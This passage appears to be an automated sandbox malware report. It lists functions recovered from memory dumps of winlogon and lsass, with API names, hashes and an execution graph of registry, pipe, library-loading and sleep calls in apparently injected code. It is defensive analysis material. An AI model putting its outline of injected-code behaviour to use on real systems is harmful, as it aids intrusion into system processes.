                                            • API ID: ConsoleErrorLastMode
                                            • String ID:
                                            • API String ID: 953036326-0
                                            • Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                            • Instruction ID: 0effa0560eecda1315c6bac3784fbf95153408d93820f0ff7fe2030bc37eebda
                                            • Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                            • Instruction Fuzzy Hash: F991D37A710E70A5FB62DFAD94883AD3BE2B704B8BF148109DE1A57A95DF34C486C700
                                            Function 00000225DC6A7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                            • String ID:
                                            • API String ID: 2933794660-0
                                            • Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction ID: 6c068aa945f0ac6dafb2ede45e1116f91dfe096492dd73cd30e6c0fcb5e07c68
                                            • Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction Fuzzy Hash: A7111226710F1599EF00CFA8E8593A833A4F75975EF441E25DB6D867A4DF78C1A8C380
                                            Function 00000225DC64253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                            • Instruction ID: 898a99a824d3708835f2c6571b9ade3bad5d2cda467ec0446c5c9970c4b06ed6
                                            • Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                            • Instruction Fuzzy Hash: 6471F63A20CFA166E7269FED98483EA7794F389B86F648066DD0B53B89DE35C541C700
                                            Function 00000225DC6A253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                            • Instruction ID: 5f5e41b068d0f293cc7ef7899fb07c4c471cec35d55f3e32321b6d3ba8d92876
                                            • Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                            • Instruction Fuzzy Hash: 0971FB3A280FA166D726DFADD8483AA6794F385B86F648025DD0ED3B89DE35C645C700
                                            Function 00000225DC619E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237826612.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc610000_winlogon.jbxd
                                            Similarity
                                            • API ID: CallTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3163161869-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: 1c103488b81b5755e9a858689f9c8f9220dbcbf2f2fcf3c8ea21b2028d61d58d
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: C5619D3B602F549AEB20CFA9D44439D7BA0F748B8EF148215EF4917B99DB38D156C700
                                            Function 00000225DC679E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238224914.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc670000_winlogon.jbxd
                                            Similarity
                                            • API ID: CallTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3163161869-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: 9fd3008523d1d31d7ee32bda0e514125121f93270c61e4c83d0e3fe2aa1cbd72
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: 4B61AB3B600F949AEB20DFA9D44439D77A0F748B8DF148A15EF4917B99DB38D496C700
                                            Function 00000225DC642330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                            • Instruction ID: 46897ffc2cc2630562e995aa3ab88a20c60a5fe9943d3a7bd5f75d2a5dc7dda7
                                            • Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                            • Instruction Fuzzy Hash: 8051273A60CFA1A1E6799FEDE05C37A7B51F784B41F648165CE4B03B49CA39C544C740
                                            Function 00000225DC6A2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                            • Instruction ID: a83db0d25de40b44f666c5a5d64bcfc4ffcb5cd7079b315c16954b0aa5d8d6a1
                                            • Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                            • Instruction Fuzzy Hash: 0F516B3A284FA1A5F63ADFADE09C3BAA751F785B41F648125CE4D83B49CE39C544C740
                                            Function 00000225DC6526F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: ErrorFileLastWrite
                                            • String ID: U
                                            • API String ID: 442123175-4171548499
                                            • Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction ID: ff598f2dff618ae855125180d135eff0feb50115b417593be16094bb43c2f728
                                            • Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction Fuzzy Hash: BC41C476325E90A6DB21CFA9E8483AE77A0F798795F508021EE4E87794EB7CC445C740
                                            Function 00000225DC6B26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: ErrorFileLastWrite
                                            • String ID: U
                                            • API String ID: 442123175-4171548499
                                            • Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction ID: 2b7cbdf29e740ea36268c330b496c3bcbbcaca586992bcfa57e7be5236719281
                                            • Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction Fuzzy Hash: F0412A76314F90A2EB21DFA9E8483A977A1F398796F508021EE4D87794EF3CC445C740
                                            Function 00000225DC6494A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: ExceptionFileHeaderRaise
                                            • String ID: csm
                                            • API String ID: 2573137834-1018135373
                                            • Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction ID: 8e6f9ddc8bd4a0050d82363797f3a651ef4e3f91162d625b6a7f86f7e5c4113b
                                            • Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction Fuzzy Hash: CF115B36218F9092EB608B59E40435977E4FB88B99F288260EF8D47B68DF3CC552CB00
                                            Function 00000225DC6A94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: ExceptionFileHeaderRaise
                                            • String ID: csm
                                            • API String ID: 2573137834-1018135373
                                            • Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction ID: c91e1e86bab824f286d7942031cacff95a827eda15b7eec0a60a9f277f66f1ea
                                            • Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction Fuzzy Hash: 54112B3A218F9092EB65CB59E44435977E5FB88B99F688220EF8C47768DF3CC552CB00
                                            Function 00000225DC617356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237826612.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc610000_winlogon.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: ierarchy Descriptor'$riptor at (
                                            • API String ID: 592178966-758928094
                                            • Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction ID: 40d697394cd767119a46280874914b4daa5d8e9346db535fcc515f98333aa0ca
                                            • Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction Fuzzy Hash: 7EE08661A41F84A0DF118F66E8442D873A0DB58B69B48D122995C46311FA38D1E9C300
                                            Function 00000225DC677356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238224914.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc670000_winlogon.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: ierarchy Descriptor'$riptor at (
                                            • API String ID: 592178966-758928094
                                            • Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction ID: 3bdf3a98a46eddaab18917913d4673d13906e839a3b4fd0dcf7fe39589f613a6
                                            • Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction Fuzzy Hash: B2E08661640F84A0EF018F65E8442D833A0DB5CB65B49D122995C06351FA38D1E9C301
                                            Function 00000225DC6173B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237826612.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc610000_winlogon.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: Locator'$riptor at (
                                            • API String ID: 592178966-4215709766
                                            • Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction ID: 33387b3a89b0f7cf97b4c9f63ea1e6ce0b438a2dcf969175634c70bf0c094b31
                                            • Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction Fuzzy Hash: F9E0CD61A01F44D0DF118F65D4441D87360E75CB69F88D222CD4C47311FB38D1E5C300
                                            Function 00000225DC6773B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238224914.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc670000_winlogon.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: Locator'$riptor at (
                                            • API String ID: 592178966-4215709766
                                            • Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction ID: 5795fbfa8a47514ff8c6ddda118d1662a7868f1be9d24305db9b02968eedc405
                                            • Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction Fuzzy Hash: 28E08661640F8490EF018F65D4401987360EB5CB55B88D122C95C06351FA38D1E5C301
                                            Function 00000225DC641BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID:
                                            • API String ID: 756756679-0
                                            • Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction ID: 435233d5cd765dd7833698f1ddb9f59ae8d1156237805913c2fcddc5f4e0a6b6
                                            • Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction Fuzzy Hash: B2119129615F5492EB54DFAEA80C26973A1FB89FC2F188065DE4E53765DF38C442C300
                                            Function 00000225DC6A1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID:
                                            • API String ID: 756756679-0
                                            • Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction ID: 1420031e885aaf21fcc6fdccc82258bc3790c71e1673b6532d453dab14891ff2
                                            • Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction Fuzzy Hash: 95115129601F64E2EA54DFAEA44C22977A5FB89FC2F188025DE4E97765DF38C442C300
                                            Function 00000225DC641268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$AllocProcess
                                            • String ID:
                                            • API String ID: 1617791916-0
                                            • Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction ID: 46137aeb2ac080d4014b8e101a3abee4704eba82c5d2520b876412a79b8151bf
                                            • Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction Fuzzy Hash: 77E06D39621E1486EB548FEAD80C36A36E1FB89F06F14C024CA0907751DF7DC499C750
                                            Function 00000225DC6A1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$AllocProcess
                                            • String ID:
                                            • API String ID: 1617791916-0
                                            • Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction ID: 5f6bbecbb8621be69b39046fe70b37093b4047639506c31062e86b7116282652
                                            • Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction Fuzzy Hash: 3EE03239A01E1486EB088BAAD80834A36E2EB89B07F08C0248A0907361DF7DC499CB90

                                            Execution Graph

                                            Execution Coverage:0.7%
                                            Dynamic/Decrypted Code Coverage:0%
                                            Signature Coverage:0%
                                            Total number of Nodes:94
                                            Total number of Limit Nodes:12
                                            execution_graph 22406 202c0ab273c 22408 202c0ab276a 22406->22408 22407 202c0ab28d4 22408->22407 22409 202c0ab2858 LoadLibraryA 22408->22409 22409->22408 22410 202c0ae202c 22411 202c0ae205d 22410->22411 22412 202c0ae2173 22411->22412 22419 202c0ae2081 22411->22419 22423 202c0ae213e 22411->22423 22413 202c0ae2178 22412->22413 22414 202c0ae21e7 22412->22414 22425 202c0ae2f04 11 API calls 22413->22425 22416 202c0ae21ec 22414->22416 22414->22423 22426 202c0ae2f04 11 API calls 22416->22426 22417 202c0ae20b9 StrCmpNIW 22417->22419 22419->22417 22420 202c0ae20e0 22419->22420 22419->22423 22420->22419 22424 202c0ae1bf4 6 API calls 22420->22424 22421 202c0ae2190 22421->22421 22421->22423 22424->22420 22425->22421 22426->22421 22427 202c0ae1abc 22432 202c0ae1628 GetProcessHeap HeapAlloc 22427->22432 22429 202c0ae1ad2 Sleep SleepEx 22430 202c0ae1acb 22429->22430 22430->22429 22431 202c0ae1598 StrCmpIW StrCmpW 22430->22431 22431->22430 22476 202c0ae1268 GetProcessHeap HeapAlloc GetProcessHeap HeapAlloc 22432->22476 22434 202c0ae1650 22477 202c0ae1268 GetProcessHeap HeapAlloc GetProcessHeap HeapAlloc 22434->22477 22436 202c0ae1661 22478 202c0ae1268 GetProcessHeap HeapAlloc GetProcessHeap HeapAlloc 22436->22478 22438 202c0ae166a 22479 202c0ae1268 GetProcessHeap HeapAlloc GetProcessHeap HeapAlloc 22438->22479 22440 202c0ae1673 22441 202c0ae168e RegOpenKeyExW 22440->22441 22442 202c0ae16c0 RegOpenKeyExW 22441->22442 22443 202c0ae18a6 22441->22443 22444 202c0ae16ff RegOpenKeyExW 22442->22444 22445 202c0ae16e9 22442->22445 22443->22430 22447 202c0ae173a RegOpenKeyExW 22444->22447 22448 202c0ae1723 22444->22448 22480 202c0ae12bc 16 API calls 22445->22480 22449 202c0ae175e 22447->22449 22450 202c0ae1775 RegOpenKeyExW 22447->22450 22481 202c0ae104c 6 API calls 22448->22481 22482 202c0ae12bc 16 API calls 22449->22482 22455 202c0ae17b0 RegOpenKeyExW 22450->22455 22456 202c0ae1799 22450->22456 22451 202c0ae16f5 RegCloseKey 22451->22444 22453 202c0ae1730 RegCloseKey 22453->22447 22459 202c0ae17eb RegOpenKeyExW 22455->22459 22460 202c0ae17d4 22455->22460 22483 202c0ae12bc 16 API calls 22456->22483 22457 202c0ae176b RegCloseKey 22457->22450 22463 202c0ae180f 22459->22463 22464 202c0ae1826 RegOpenKeyExW 22459->22464 22484 202c0ae12bc 16 API calls 22460->22484 22461 202c0ae17a6 RegCloseKey 22461->22455 22485 202c0ae104c 6 API calls 22463->22485 22465 202c0ae1861 RegOpenKeyExW 22464->22465 22466 202c0ae184a 22464->22466 22471 202c0ae189c RegCloseKey 22465->22471 22472 202c0ae1885 22465->22472 22486 202c0ae104c 6 API calls 22466->22486 22467 202c0ae17e1 RegCloseKey 22467->22459 22469 202c0ae181c RegCloseKey 22469->22464 22471->22443 22487 202c0ae104c 6 API calls 22472->22487 22473 202c0ae1857 RegCloseKey 22473->22465 22475 202c0ae1892 RegCloseKey 22475->22471 22476->22434 22477->22436 22478->22438 22479->22440 22480->22451 22481->22453 22482->22457 22483->22461 22484->22467 22485->22469 22486->22473 22487->22475 22488 202c0ae253c 22490 202c0ae25bb 22488->22490 22489 202c0ae27aa 22490->22489 22491 202c0ae261d GetFileType 22490->22491 22492 202c0ae2641 22491->22492 22493 202c0ae262b StrCpyW 22491->22493 22504 202c0ae1a40 GetFinalPathNameByHandleW 22492->22504 22494 202c0ae2650 22493->22494 22498 202c0ae265a 22494->22498 22501 202c0ae26ff 22494->22501 22497 202c0ae3844 StrCmpNIW 22497->22501 22498->22489 22509 202c0ae3844 22498->22509 22512 202c0ae3044 StrCmpIW StrCpyW StrCatW PathCombineW 22498->22512 22513 202c0ae1cac StrCmpIW StrCmpW 22498->22513 22501->22489 22501->22497 22514 202c0ae3044 StrCmpIW StrCpyW StrCatW PathCombineW 22501->22514 22515 202c0ae1cac StrCmpIW StrCmpW 22501->22515 22505 202c0ae1a6a StrCmpNIW 22504->22505 22506 202c0ae1aa9 22504->22506 22505->22506 22507 202c0ae1a84 lstrlenW 22505->22507 22506->22494 22507->22506 22508 202c0ae1a96 StrCpyW 22507->22508 22508->22506 22510 202c0ae3851 StrCmpNIW 22509->22510 22511 202c0ae3866 22509->22511 22510->22511 22511->22498 22512->22498 22513->22498 22514->22501 22515->22501 22516 202c0aed6cc 22517 202c0aed6dd __free_lconv_num 22516->22517 22518 202c0aed72e 22517->22518 22519 202c0aed712 HeapAlloc 22517->22519 22522 202c0aed6ac 6 API calls __free_lconv_num 22518->22522 22519->22517 22521 202c0aed72c 22519->22521 22522->22521

                                            Executed Functions

                                            Function 00000202C0AE253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 5 202c0ae253c-202c0ae25c0 call 202c0b02cc0 8 202c0ae27d8-202c0ae27fb 5->8 9 202c0ae25c6-202c0ae25c9 5->9 9->8 10 202c0ae25cf-202c0ae25dd 9->10 10->8 11 202c0ae25e3-202c0ae2629 call 202c0ae8c60 * 3 GetFileType 10->11 18 202c0ae2641-202c0ae264b call 202c0ae1a40 11->18 19 202c0ae262b-202c0ae263f StrCpyW 11->19 20 202c0ae2650-202c0ae2654 18->20 19->20 22 202c0ae26ff-202c0ae2704 20->22 23 202c0ae265a-202c0ae2673 call 202c0ae30a8 call 202c0ae3844 20->23 24 202c0ae2707-202c0ae270c 22->24 36 202c0ae26aa-202c0ae26f4 call 202c0b02cc0 23->36 37 202c0ae2675-202c0ae26a4 call 202c0ae30a8 call 202c0ae3044 call 202c0ae1cac 23->37 26 202c0ae270e-202c0ae2711 24->26 27 202c0ae2729 24->27 26->27 30 202c0ae2713-202c0ae2716 26->30 29 202c0ae272c-202c0ae2745 call 202c0ae30a8 call 202c0ae3844 27->29 47 202c0ae2787-202c0ae2789 29->47 48 202c0ae2747-202c0ae2776 call 202c0ae30a8 call 202c0ae3044 call 202c0ae1cac 29->48 30->27 33 202c0ae2718-202c0ae271b 30->33 33->27 35 202c0ae271d-202c0ae2720 33->35 35->27 39 202c0ae2722-202c0ae2727 35->39 36->8 49 202c0ae26fa 36->49 37->8 37->36 39->27 39->29 50 202c0ae27aa-202c0ae27ad 47->50 51 202c0ae278b-202c0ae27a5 47->51 48->47 69 202c0ae2778-202c0ae2783 48->69 49->23 54 202c0ae27af-202c0ae27b5 50->54 55 202c0ae27b7-202c0ae27ba 50->55 51->24 54->8 58 202c0ae27bc-202c0ae27bf 55->58 59 202c0ae27d5 55->59 58->59 62 202c0ae27c1-202c0ae27c4 58->62 59->8 62->59 64 202c0ae27c6-202c0ae27c9 62->64 64->59 66 202c0ae27cb-202c0ae27ce 64->66 66->59 68 202c0ae27d0-202c0ae27d3 66->68 68->8 68->59 69->8 70 202c0ae2785 69->70 70->24
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                            • Instruction ID: 383afa285ac380fd55eaa2c4cb7d261a7defb1f4293108ecd3c580df2b121f06
                                            • Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                            • Instruction Fuzzy Hash: 517190362047C1C6F625DF2998CC3AE7794F389B84F560127DFAA53B8ADA35CA598700
                                            Function 00000202C0AE202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
